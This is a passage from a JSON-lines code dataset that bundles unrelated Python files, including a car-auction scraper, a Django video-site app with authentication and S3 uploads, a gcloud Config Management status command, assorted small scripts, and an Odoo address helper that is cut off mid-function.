''.join(re.findall(r\"\\d+\\.?\\d*\", soup.find(attrs={\"class\":\"record\"}).h3.strong.text))\n person = {}\n personInfo = end.find_all(\"p\")[1].table.tr.td\n person[\"applyNumber\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", personInfo.contents[4]))\n person[\"lotteryCount\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", personInfo.contents[6]))\n car[\"person\"] = person\n return car\n\n\ncarList = getAuctionList(\"c\")\nresult = []\nfor car in carList:\n detail = getFinishAuction(car)\n result.append(detail)\n\ndef writeExcel(data):\n book = xlwt.Workbook(encoding=\"utf-8\")\n sheet1 = book.add_sheet(\"Sheet 1\")\n sheet1.write(0, 0, \"ID\")\n sheet1.write(0, 1, \"Url\")\n sheet1.write(0, 2, \"Image\")\n sheet1.write(0, 3, \"CarNo\")\n sheet1.write(0, 4, \"Name\")\n sheet1.write(0, 5, \"AuctionPeopleCount\")\n sheet1.write(0, 6, \"EvaluatePrice\")\n sheet1.write(0, 7, \"MinPrice\")\n sheet1.write(0, 8, \"MaxPrice\")\n sheet1.write(0, 9, \"DealPrice\")\n sheet1.write(0, 10, \"GuardPrice\")\n sheet1.write(0, 11, \"PriceStep\")\n sheet1.write(0, 12, \"AuctionTime\")\n sheet1.write(0, 13, \"HasKeepPrice\")\n sheet1.write(0, 14, \"Status\")\n sheet1.write(0, 15, \"PersonApplyNumber\")\n sheet1.write(0, 16, \"PersonLotteryCount\")\n for index, item in enumerate(data):\n row = index + 1\n sheet1.write(row, 0, item[\"id\"])\n sheet1.write(row, 1, item[\"url\"])\n sheet1.write(row, 2, item[\"image\"])\n sheet1.write(row, 3, item[\"carNo\"])\n sheet1.write(row, 4, item[\"name\"])\n sheet1.write(row, 5, item[\"auctionPeopleCount\"])\n sheet1.write(row, 6, item[\"evaluatePrice\"])\n sheet1.write(row, 7, item[\"minPrice\"])\n sheet1.write(row, 8, item[\"maxPrice\"])\n sheet1.write(row, 9, item[\"dealPrice\"])\n sheet1.write(row, 10, item[\"guardPrice\"])\n sheet1.write(row, 11, item[\"priceStep\"])\n sheet1.write(row, 12, item[\"auctionTime\"])\n sheet1.write(row, 13, item[\"hasKeepPrice\"])\n sheet1.write(row, 14, item[\"status\"])\n sheet1.write(row, 15, item[\"person\"][\"applyNumber\"])\n sheet1.write(row, 16, item[\"person\"][\"lotteryCount\"])\n\n book.save(\"auctionCars.xls\")\n\n\nwriteExcel(result)\n\nprint(\"Success!\")","sub_path":"python/python2/car-auction/auto_job.py","file_name":"auto_job.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"7930855","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\npi = math.pi\nY,X = np.mgrid[-10:10:100j, -10:10:100j]\nU = (2/(2*pi))*X/(X**2+Y**2)-2/(2*pi*(-2));\nV = (2/(2*pi))*Y/(X**2+Y**2);\nspeed = np.sqrt(U*U + V*V)\n\nfig0, ax0 = plt.subplots()\nstrm = ax0.streamplot(X, Y, U, V, color=U, linewidth=2, cmap=plt.cm.autumn)\nfig0.colorbar(strm.lines)\nlw = 5*speed / speed.max()\n\nplt.show()","sub_path":"T54/python/streamline1.py","file_name":"streamline1.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"528834426","text":"\n\nfrom xai.brain.wordbase.adjectives._faulty import _FAULTY\n\n#calss header\nclass _FAULTIEST(_FAULTY, ):\n\tdef __init__(self,): \n\t\t_FAULTY.__init__(self)\n\t\tself.name = \"FAULTIEST\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"faulty\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_faultiest.py","file_name":"_faultiest.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"237641071","text":"#returns the length of the longest digit\ndef getmaxlen(n1, n2):\n if len(n1) > len(n2):\n return len(n1)\n return len(n2)\n\n#returns the amount of spaces asked for\ndef getspaces(n):\n result = ''\n i = 0\n while i < n:\n result += ' '\n i += 1\n return result\n\n#returns error message if list is invalid\ndef validate(list):\n for op in list:\n if not op[0].isdigit() or not op[2].isdigit():\n return \"Error: Numbers must only contain digits.\"\n if op[3] > 4:\n return \"Error: Numbers cannot be more than four digits.\"\n if op[1] != '+' and op[1] != '-':\n return \"Error: Operator must be '+' or '-'.\"\n return None","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"485452531","text":"from django import forms\nfrom .models import Events\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\n\n\nclass EventForm(forms.ModelForm):\n \n class Meta:\n model = Events\n fields = (\"eventt\",\"slug\",\"date\",\"time\",\"discord_link\",\"location\",\"EventType\")#\"maps_url\",\n widgets = {\n 'date': forms.DateInput(attrs={'type':\"date\"}),\n 'time' :forms.TimeInput(attrs={'type':'time'}),\n 'discord_link':forms.URLInput(attrs={'required':'false'}),\n 'slug':forms.TextInput(attrs={})\n }\n\nclass RegisterForm(UserCreationForm):\n email = forms.EmailField(label = \"Email\")\n first_name = forms.CharField(label = \"First name\")\n\n class Meta:\n model = User\n fields = (\"username\", \"first_name\",\"last_name\", \"email\", )\n \n","sub_path":"sportiasts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"69480659","text":"import re\n\ninput = open(\"README.md\", \"r\")\n\n\ndef cleanhtml(raw_html):\n cleanr = re.compile('')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\ncleanedhtml = cleanhtml(input.read())\n\noutput = open(\"README-striped.md\", \"w+\")\noutput.write(cleanedhtml)\noutput.close()\n","sub_path":"strip-images.py","file_name":"strip-images.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"518923188","text":"from django.shortcuts import render\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils.crypto import get_random_string\nfrom app.forms.form import UserRegistrationForm, ResetForm, UpdateChannelForm, VideoForm\nfrom app.models import Token, Channel, Video, UploadVideoFile\nfrom PIL import Image\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport uuid\nimport os\nimport boto3\nfrom botocore.exceptions import ClientError\n\n\nclass Auth:\n \"\"\"Auth classes action\"\"\"\n\n @staticmethod\n @login_required(login_url='/login')\n def index_action(request):\n try:\n limit = 5\n user_video = Channel.objects.get(users=request.user).video_set.all().filter(processed=True).order_by('-created_at')[:limit]\n except Channel.DoesNotExist:\n user_video = {}\n return render(request, 'app/index.html', {\n 'subscribtion_videos': user_video,\n })\n\n @staticmethod\n def login_action(request):\n if request.method != 'POST':\n return render(request, 'app/login.html')\n else:\n email = request.POST['email']\n password = request.POST['password']\n try:\n user = User.objects.get(email=email)\n user_login = authenticate(request, username=user.username, password=password)\n if user_login is not None:\n login(request, user_login)\n return redirect('tube:index')\n else:\n messages.error(request, message='Wrong password or email')\n return redirect('tube:login')\n except User.DoesNotExist:\n messages.error(request, message='Wrong password or email')\n return redirect('tube:login')\n\n @staticmethod\n def register_action(request):\n if request.method != 'POST':\n if 'form' in request.session:\n form = request.session['form']\n del request.session['form']\n else:\n form = \"\"\n return render(request, 'app/register.html', {\n 'form': form\n })\n else:\n form = UserRegistrationForm(request.POST)\n if not form.is_valid():\n request.session['form'] = form.errors\n return redirect('tube:register')\n else:\n user_created = User.objects.create_user(\n username=form.cleaned_data['username'],\n email=form.cleaned_data['email'],\n password=form.cleaned_data['password'],\n )\n if user_created:\n Channel.objects.create(\n name=form.cleaned_data['channel_name'],\n slug=uuid.uuid4().hex[:8],\n users=user_created\n )\n user_login = authenticate(request, username=form.cleaned_data['username'], password=form.cleaned_data['password'])\n login(request, user_login)\n return redirect('tube:index')\n\n @staticmethod\n def reset_action(request):\n if request.method == 'POST':\n try:\n password = request.POST['password']\n user = User.objects.filter(email=request.POST['email'], token__value=request.POST['token']).first()\n user.set_password(raw_password=password)\n user.save()\n token_code = Token.objects.get(value=request.POST['token'])\n token_code.delete()\n return redirect('tube:index')\n except User.DoesNotExist:\n return redirect('tube:reset')\n if 'code' in request.GET:\n try:\n token = Token.objects.get(value=request.GET['code'])\n return render(request, 'app/reset.html', {'token': token})\n except Token.DoesNotExist:\n return redirect('tube:index')\n else:\n return redirect('tube:index')\n\n @staticmethod\n def email_action(request):\n if request.method != 'POST':\n if 'error' in request.session:\n error = request.session['error']\n del request.session['error']\n else:\n error = \"\"\n return render(request, 'app/email.html', {\n 'error': error\n })\n else:\n try:\n email = request.POST['email']\n form = ResetForm(request.POST)\n if not form.is_valid():\n request.session['error'] = form.errors\n return redirect('tube:email')\n else:\n user_reset = User.objects.get(email=email)\n code = get_random_string(length=32)\n Token.objects.create(value=code, user=user_reset)\n subject, from_email, to = 'Reset password', 'admin@codetube', user_reset.email\n html_content = render_to_string('app/reset_mail.html', {\n 'email': user_reset.email,\n 'url': 'http://' + request.get_host() + '/reset?code=' + code,\n })\n msg = EmailMultiAlternatives(subject, html_content, from_email, [to])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n messages.info(request, 'All information send you in email.')\n return redirect('tube:login')\n except User.DoesNotExist:\n return render(request, 'app/email.html')\n\n @staticmethod\n def logout_action(request):\n logout(request)\n return redirect('tube:login')\n\n\nclass ChannelPages:\n\n @staticmethod\n @login_required(login_url='/login')\n def setting_action(request, channel):\n try:\n my_channel = Channel.objects.get(users=request.user, slug=channel)\n if 'error' in request.session:\n error = request.session['error']\n del request.session['error']\n else:\n error = \"\"\n return render(request, 'app/channel_edit.html', {\n 'my_channel': my_channel,\n 'host': request.get_host(),\n 'error': error\n })\n except Channel.DoesNotExist:\n return redirect('tube:index')\n\n @staticmethod\n @login_required(login_url='/login')\n def edit_action(request, channel):\n if request.method == 'POST':\n try:\n my_channel = Channel.objects.get(users=request.user, slug=channel)\n form = UpdateChannelForm(request.POST, request.FILES, instance=my_channel)\n if form.is_valid():\n form.save()\n if 'file_name' in request.FILES:\n file = form.instance.file_name.name\n path = os.path.join(settings.MEDIA_ROOT, file)\n size = 90, 90\n im = Image.open(path)\n im.thumbnail(size)\n im.save(path, \"PNG\")\n s3 = boto3.resource('s3')\n data = open(path, 'rb')\n try:\n s3.Bucket(settings.S3_BUCKET_IMAGE).put_object(Key='profile/' + file, Body=data)\n os.remove(os.path.join(settings.MEDIA_ROOT, file))\n except ClientError:\n os.remove(os.path.join(settings.MEDIA_ROOT, file))\n return redirect('tube:channel_setting', channel=my_channel.slug)\n else:\n request.session['error'] = form.errors\n return redirect('tube:channel_setting', channel=my_channel.slug)\n except Channel.DoesNotExist:\n return redirect('tube:channel_setting', channel=channel)\n else:\n return redirect('tube:index')\n\n\nclass UploadVideo:\n\n @staticmethod\n @login_required(login_url='/login')\n def index_action(request):\n return render(request, 'app/video_upload.html')\n\n @staticmethod\n @csrf_exempt\n @login_required(login_url='/login')\n def store(request):\n if request.method != 'POST':\n return JsonResponse({\n 'response': 'get'\n })\n channel = Channel.objects.get(users=request.user)\n uid = uuid.uuid4().hex[:10]\n file_name = str(uid) + '.' + request.POST['extension']\n Video.objects.create(\n channel=channel,\n uid=uid,\n title=request.POST['title'],\n description=request.POST['description'],\n visibility=request.POST['visibility'],\n video_filename=file_name\n )\n response = JsonResponse({'uid': uid, 'file_name': file_name})\n return response\n\n @staticmethod\n @csrf_exempt\n @login_required(login_url='/login')\n def update(request, video):\n try:\n video_user = Video.objects.get(uid=video)\n if video_user.channel.users_id == request.user.id:\n form = VideoForm(request.POST, instance=video_user)\n if form.is_valid():\n form.save()\n if request.is_ajax():\n return JsonResponse({\n 'uid': video\n })\n else:\n return redirect('tube:video_edit', uid=video)\n else:\n return redirect('tube:video_edit', uid=video)\n except Video.DoesNotExist:\n return redirect('tube:index')\n\n else:\n return JsonResponse({\n 'uid': '0'\n })\n\n @staticmethod\n @csrf_exempt\n @login_required(login_url='/login')\n def store_file(request):\n my_channel = Channel.objects.get(users=request.user)\n upload_video = UploadVideoFile(video=request.FILES['video'], channel=my_channel)\n upload_video.save()\n file_video_name = os.path.join(settings.MEDIA_ROOT, upload_video.get_file_name())\n file = upload_video.get_file_name()\n data = open(file_video_name, 'rb')\n s3 = boto3.resource('s3')\n if 'file_uid' in request.POST:\n uid_file = request.POST['file_uid']\n s3.Bucket(settings.S3_BUCKET_DROP).put_object(Key=uid_file, Body=data)\n os.remove(os.path.join(settings.MEDIA_ROOT, file))\n return JsonResponse({\n 'uid': request.user.id\n })\n\n @staticmethod\n @login_required(login_url='/login')\n def main_index(request):\n try:\n user = request.user\n channel = Channel.objects.get(users=user)\n videos_user = Video.objects.filter(channel=channel).order_by('created_at')\n except Video.DoesNotExist:\n videos_user = ''\n return render(request, 'app/main_index.html', {\n 'videos': videos_user\n })\n\n @staticmethod\n @login_required(login_url='/login')\n def edit_video(request, uid):\n try:\n video = Video.objects.get(uid=uid)\n except Video.DoesNotExist:\n video = ''\n return render(request, template_name='app/edit_video.html', context={\n 'video': video\n })\n\n @staticmethod\n @login_required(login_url='/login')\n def delete_video(request, video):\n if request.method == 'POST':\n video_user = Video.objects.get(uid=video)\n if video_user.channel.users_id == request.user.id:\n video_user.delete()\n return redirect('tube:videos')\n else:\n return redirect('tube:videos')\n\n\n\n\n\n","sub_path":"app/views/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":12158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"484123940","text":"add = 0\nresult = 0\nfor i in range (2,10):\n print ('\\n--구구단 {}단'.format(i))\n for j in range (1,10):\n result = i * j\n print (\"{} x {} = {}\".format(i,j,str(result)))\n # 답: print (\"%d x %d = %d\" %(i,j,result))\n\nprint ('구구단')\nfor i in range (1,10):\n \n for j in range (2,10):\n result = j * i\n print (\"{} x {} =\".format(j,i) + \"{0:>3}\".format(str(result)),end=\" \")\n #답 print (\"{} x {} = {:2}\".format(j,i,j*i),end=\" \")\n\n print()\n\n\nnewList = [\n x*y for x in range(1,10)\n for y in range(1,10)\n]\nprint (newList)\n\n","sub_path":"basic/for2.py","file_name":"for2.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"471144572","text":"import asyncio\n\nimport discord\n\nfrom commands import _mongoFunctions, _embedMessage, _util\n\n# How long to wait for user response before timeout\nwait_timeout = 60.0\n\n\nasync def setup_due_dates(ctx: discord.Message, client: discord.Client):\n stop_embed = _embedMessage.create(\"SetupDueDates Reply\", \"Setup Stopped\", \"green\")\n\n # Checks if user is admin or bot owner\n if not (ctx.author.guild_permissions.administrator or _util.author_is_bot_owner(ctx)):\n await ctx.channel.send(embed = _embedMessage.create(\"Setup Reply\", \"Invalid Permissions\", \"red\"))\n return\n\n try:\n _mongoFunctions.get_guilds_information()[str(ctx.guild.id)]\n except KeyError:\n _mongoFunctions.generate_default_settings(ctx.guild.id)\n\n # Checking function to determine if responses are sent by initial user in initial channel\n def check(message):\n return message.author == ctx.author and message.channel == ctx.channel\n\n response_message = await ctx.channel.send(embed = _embedMessage.create(\"Setup Reply\", \"Should Due Dates be Enabled (y/n)?\", \"blue\"))\n\n await set_settings(ctx, client, response_message, stop_embed, check)\n\n await ctx.channel.send(embed = _embedMessage.create(\"Setup Reply\", \"DueDate Setup has been Completed\", \"blue\"))\n\n\nasync def set_settings(ctx: discord.Message, client: discord.Client, response_message: discord.Message, stop_embed: discord.embeds, check):\n while True:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"Should Due Dates be Enabled (y/n)?\", \"blue\"))\n try:\n due_dates_message = await client.wait_for('message', timeout = wait_timeout, check = check)\n except asyncio.TimeoutError:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"You took too long to respond.\", \"red\"))\n return\n else:\n due_dates_string = due_dates_message.content.lower()\n if due_dates_string == 'next':\n break\n if due_dates_string == 'stop':\n await ctx.channel.send(embed = stop_embed)\n return\n if due_dates_string in ('yes', 'y', 'true', 't', '1', 'enable', 'on'):\n _mongoFunctions.update_setting(ctx.guild.id, \"due_dates_enabled\", True)\n\n else:\n _mongoFunctions.update_setting(ctx.guild.id, \"due_dates_enabled\", False)\n break\n\n if _mongoFunctions.get_settings(ctx.guild.id)[\"due_dates_enabled\"]:\n while True:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"Which streams require due dates? (Must be integers separated by spaces.\"\n \"E.g. 4 8)\", \"blue\"))\n try:\n streams_message = await client.wait_for('message', timeout = wait_timeout, check = check)\n except asyncio.TimeoutError:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"You took too long to respond.\", \"red\"))\n return\n else:\n streams_string = streams_message.content\n if streams_string.lower() == 'next':\n break\n if streams_string.lower() == 'stop':\n await ctx.channel.send(embed = stop_embed)\n return\n streams = streams_string.split(' ')\n _mongoFunctions.update_setting(ctx.guild.id, \"streams\", streams)\n break\n\n while True:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"What are the term's courses. (Or other deadline categories). \"\n \"(Must be strings separated by spaces. \"\n \"Use quotes around courses made of multiple words) \"\n \"E.g. \\\"MATH 115\\\" Physics)\", \"blue\"))\n try:\n courses_message = await client.wait_for('message', timeout = wait_timeout, check = check)\n except asyncio.TimeoutError:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"You took too long to respond.\", \"red\"))\n return\n else:\n courses_string = courses_message.content\n if courses_string.lower() == 'next':\n break\n if courses_string.lower() == 'stop':\n await ctx.channel.send(embed = stop_embed)\n return\n courses = _util.parse_message(courses_string)\n _mongoFunctions.update_setting(ctx.guild.id, \"courses\", courses)\n break\n\n while True:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"What are the due date types. \"\n \"(Must be strings separated by spaces. \"\n \"E.g. Assignment Test Quiz Exam Project Other)\", \"blue\"))\n try:\n due_date_types_message = await client.wait_for('message', timeout = wait_timeout, check = check)\n except asyncio.TimeoutError:\n await response_message.edit(embed = _embedMessage.create(\"Setup Reply\", \"You took too long to respond.\", \"red\"))\n return\n else:\n due_date_types_string = due_date_types_message.content\n if due_date_types_string.lower() == 'next':\n break\n if due_date_types_string.lower() == 'stop':\n await ctx.channel.send(embed = stop_embed)\n return\n due_date_types = due_date_types_string.split(' ')\n _mongoFunctions.update_setting(ctx.guild.id, \"due_date_types\", due_date_types)\n break\n","sub_path":"commands/setupduedates.py","file_name":"setupduedates.py","file_ext":"py","file_size_in_byte":6113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"463165540","text":"from mock import ANY, sentinel, call\n\nfrom dockomorph.tests.logutil import LogMockingTestCase\nfrom dockomorph.orchestrator import Orchestrator\n\n\nclass OchestratorTests (LogMockingTestCase):\n def test_update_repository(self):\n S = sentinel\n orc = Orchestrator(S.FAKE_REACTOR)\n\n # Mock surgery:\n orc._repoman = self.make_mock()\n orc._dockherd = self.make_mock()\n\n result = orc.update_repository(S.NAME, S.REPOURL, S.TAG)\n\n m_def = orc._repoman.update_repository.return_value\n\n self.assertIs(result, m_def)\n\n self.assert_calls_equal(\n orc._repoman,\n [call.update_repository(S.NAME, S.REPOURL, S.TAG),\n call.update_repository().addCallback(ANY)])\n\n # Snag the callback out of the mock deferred:\n [m_def_call] = m_def.mock_calls\n (_, args, _) = m_def_call\n (cb,) = args\n\n result2 = cb((S.FAKE_ARG1, S.FAKE_ARG2))\n\n self.assertIs(result2, orc._dockherd.build_and_deploy.return_value)\n\n self.assert_calls_equal(\n orc._dockherd,\n [call.build_and_deploy(S.FAKE_ARG1, S.FAKE_ARG2)])\n","sub_path":"dockomorph/tests/test_orchestrator.py","file_name":"test_orchestrator.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"574864798","text":"# -*- coding: utf-8 -*- #\n# Copyright 2019 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"The command to get the status of Config Management Feature.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\nfrom apitools.base.py import exceptions as apitools_exceptions\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.container.hub.features import base as feature_base\nfrom googlecloudsdk.core import exceptions\nfrom googlecloudsdk.core import properties\n\nNA = 'NA'\n\nDETAILED_HELP = {\n 'EXAMPLES':\n \"\"\"\\\n Print the status of the Config Management Feature:\n\n $ {command}\n\n Name Status Last_Synced_Token Sync_Branch Last_Synced_Time\n managed-cluster SYNCED 2945500b7f acme 2020-03-23\n 11:12:31 -0700 PDT\n\n View the status for the cluster named `managed-cluster-a`:\n\n $ {command} --filter=\"acm_status.name:managed-cluster-a\"\n\n Use a regular expression to list status for multiple clusters:\n\n $ {command} --filter=\"acm_status.name ~ managed-cluster.*\"\n\n List all clusters where current status is `SYNCED`:\n\n $ {command} --filter=\"acm_status.config_sync:SYNCED\"\n\n List all the clusters where sync_branch is `v1` and current Config Sync status\n is not `SYNCED`:\n\n $ {command} --filter=\"acm_status.sync_branch:v1 AND -acm_status.config_sync:SYNCED\"\n \"\"\",\n}\n\n\nclass ConfigmanagementFeatureState(object):\n \"\"\"Feature state class stores ACM status.\"\"\"\n\n def __init__(self, clusterName):\n self.name = clusterName\n self.config_sync = NA\n self.last_synced_token = NA\n self.last_synced = NA\n self.sync_branch = NA\n self.policy_controller_state = NA\n\n def update_sync_state(self, fs):\n \"\"\"Update config_sync state for the membership that has ACM installed.\n\n Args:\n fs: ConfigManagementFeatureState\n \"\"\"\n if not (fs.configSyncState and fs.configSyncState.syncState):\n self.config_sync = 'SYNC_STATE_UNSPECIFIED'\n else:\n self.config_sync = fs.configSyncState.syncState.code\n if fs.configSyncState.syncState.syncToken:\n self.last_synced_token = fs.configSyncState.syncState.syncToken[:7]\n self.last_synced = fs.configSyncState.syncState.lastSyncTime\n if has_config_sync_git(fs):\n self.sync_branch = fs.membershipConfig.configSync.git.syncBranch\n\n def update_policy_controller_state(self, fs):\n \"\"\"Update policy controller state for the membership that has ACM installed.\n\n Args:\n fs: ConfigmanagementFeatureState\n \"\"\"\n if not (fs.policyControllerState and\n fs.policyControllerState.deploymentState):\n self.policy_controller_state = NA\n return\n pc_deployment_state = fs.policyControllerState.deploymentState\n expected_deploys = {\n 'GatekeeperControllerManager':\n pc_deployment_state.gatekeeperControllerManagerState\n }\n if fs.membershipConfig and fs.membershipConfig.version and fs.membershipConfig.version > '1.4.1':\n expected_deploys['GatekeeperAudit'] = pc_deployment_state.gatekeeperAudit\n for deployment_name, deployment_state in expected_deploys.items():\n if not deployment_state:\n continue\n elif deployment_state.name != 'INSTALLED':\n self.policy_controller_state = '{} {}'.format(\n deployment_name, deployment_state)\n return\n self.policy_controller_state = deployment_state.name\n\n def update_pending_state(self, feature_spec_mc, feature_state_mc):\n \"\"\"Update config sync and policy controller with the pending state.\n\n Args:\n feature_spec_mc: MembershipConfig\n feature_state_mc: MembershipConfig\n \"\"\"\n if self.config_sync.__str__() in [\n 'SYNCED', 'NOT_CONFIGURED', 'NOT_INSTALLED', NA\n ] and feature_spec_mc.configSync != feature_state_mc.configSync:\n self.config_sync = 'PENDING'\n if self.policy_controller_state.__str__() in [\n 'INSTALLED', 'GatekeeperAudit NOT_INSTALLED', NA\n ] and feature_spec_mc.policyController != feature_state_mc.policyController:\n self.policy_controller_state = 'PENDING'\n\n\nclass Status(base.ListCommand):\n \"\"\"Print the status of all clusters with Config Management enabled.\n \"\"\"\n detailed_help = DETAILED_HELP\n\n FEATURE_NAME = 'configmanagement'\n FEATURE_DISPLAY_NAME = 'Anthos Config Management'\n\n @staticmethod\n def Args(parser):\n parser.display_info.AddFormat(\"\"\"\n multi(acm_status:format='table(\n name:label=Name:sort=1,\n config_sync:label=Status,\n last_synced_token:label=\"Last_Synced_Token\",\n sync_branch:label=\"Sync_Branch\",\n last_synced:label=\"Last_Synced_Time\",\n policy_controller_state:label=\"Policy_Controller\"\n )' , acm_errors:format=list)\n \"\"\")\n\n def Run(self, args):\n try:\n project_id = properties.VALUES.core.project.GetOrFail()\n memberships = feature_base.ListMemberships(project_id)\n name = 'projects/{0}/locations/global/features/{1}'.format(\n project_id, self.FEATURE_NAME)\n response = feature_base.GetFeature(name)\n except apitools_exceptions.HttpUnauthorizedError as e:\n raise exceptions.Error(\n 'You are not authorized to see the status of {} '\n 'Feature from project [{}]. Underlying error: {}'.format(\n self.FEATURE_DISPLAY_NAME, project_id, e))\n except apitools_exceptions.HttpNotFoundError as e:\n raise exceptions.Error(\n '{} Feature for project [{}] is not enabled'.format(\n self.FEATURE_DISPLAY_NAME, project_id))\n if not memberships:\n return None\n acm_status = []\n acm_errors = []\n feature_spec_memberships = parse_feature_spec_memberships(response)\n feature_state_memberships = parse_feature_state_memberships(response)\n for name in memberships:\n cluster = ConfigmanagementFeatureState(name)\n if name not in feature_state_memberships:\n acm_status.append(cluster)\n continue\n md = feature_state_memberships[name]\n fs = md.value.configmanagementFeatureState\n # (b/153587485) Show FeatureState.code if it's not OK\n # as it indicates an unreachable cluster or a dated syncState.code\n if md.value.code is None:\n cluster.config_sync = 'CODE_UNSPECIFIED'\n elif md.value.code.name != 'OK':\n cluster.config_sync = md.value.code.name\n else:\n # operator errors could occur regardless of the deployment_state\n if has_operator_error(fs):\n append_error(name, fs.operatorState.errors, acm_errors)\n # (b/154174276, b/156293028)\n # check operator_state to see if ACM/nomos has been installed\n if not has_operator_state(fs):\n cluster.config_sync = 'OPERATOR_STATE_UNSPECIFIED'\n else:\n cluster.config_sync = fs.operatorState.deploymentState.name\n if cluster.config_sync == 'INSTALLED':\n cluster.update_sync_state(fs)\n if has_config_sync_error(fs):\n append_error(name, fs.configSyncState.syncState.errors,\n acm_errors)\n cluster.update_policy_controller_state(fs)\n if name in feature_spec_memberships:\n cluster.update_pending_state(feature_spec_memberships[name],\n fs.membershipConfig)\n acm_status.append(cluster)\n return {'acm_errors': acm_errors, 'acm_status': acm_status}\n\n\ndef parse_feature_spec_memberships(response):\n if response.configmanagementFeatureSpec is None or response.configmanagementFeatureSpec.membershipConfigs is None:\n feature_spec_membership_details = []\n else:\n feature_spec_membership_details = response.configmanagementFeatureSpec.membershipConfigs.additionalProperties\n return {\n membership_detail.key: membership_detail.value\n for membership_detail in feature_spec_membership_details\n }\n\n\ndef parse_feature_state_memberships(response):\n if response.featureState is None or response.featureState.detailsByMembership is None:\n feature_state_membership_details = []\n else:\n feature_state_membership_details = response.featureState.detailsByMembership.additionalProperties\n return {\n os.path.basename(membership_detail.key): membership_detail\n for membership_detail in feature_state_membership_details\n }\n\n\ndef has_operator_state(fs):\n return fs and fs.operatorState and fs.operatorState.deploymentState\n\n\ndef has_operator_error(fs):\n return fs and fs.operatorState and fs.operatorState.errors\n\n\ndef has_config_sync_error(fs):\n return fs and fs.configSyncState and fs.configSyncState.syncState and fs.configSyncState.syncState.errors\n\n\ndef has_config_sync_git(fs):\n return fs.membershipConfig and fs.membershipConfig.configSync and fs.membershipConfig.configSync.git\n\n\ndef append_error(cluster, state_errors, acm_errors):\n for error in state_errors:\n acm_errors.append({\n 'cluster': cluster,\n 'error': error.errorMessage\n })\n","sub_path":"google-cloud-sdk/lib/surface/container/hub/config_management/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":9514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"461776547","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, api, models, _\n\nclass res_company(models.Model):\n _inherit =\"res.company\"\n\n street = fields.Char(compute=False, inverse=False)\n street2 = fields.Char(compute=False, inverse=False)\n zip = fields.Char(compute=False, inverse=False)\n city = fields.Char(compute=False, inverse=False)\n state_id = fields.Many2one('res.country.state', string=\"Fed. State\",compute=False, inverse=False)\n country_id = fields.Many2one('res.country', string=\"Country\",compute=False, inverse=False)\n\n def get_company_full_address_text(self):\n address = self.get_company_full_address()\n address_text = ' '.join(address)\n return address_text\n\n def get_company_full_address(self):\n address = []\n # use in qweb company_address = o.company_id.get_company_full_address()\n # \n # \n if self.country_id.code == 'TH':\n if self.house_number:\n address.append('เลขที่' + str(self.house_number))\n if self.building:\n address.append('อาคาร' + str(self.building))\n if self.roomnumber:\n address.append('ห้องเลขที่' + str(self.roomnumber))\n if self.floornumber:\n address.append('ชั้นที่' + str(self.floornumber))\n if self.village:\n address.append('หมู่บ้าน' + str(self.village))\n if self.moo_number:\n address.append('หมู่ที่' + str(self.moo_number))\n if self.soi_number:\n address.append('ซอย' + str(self.soi_number))\n if 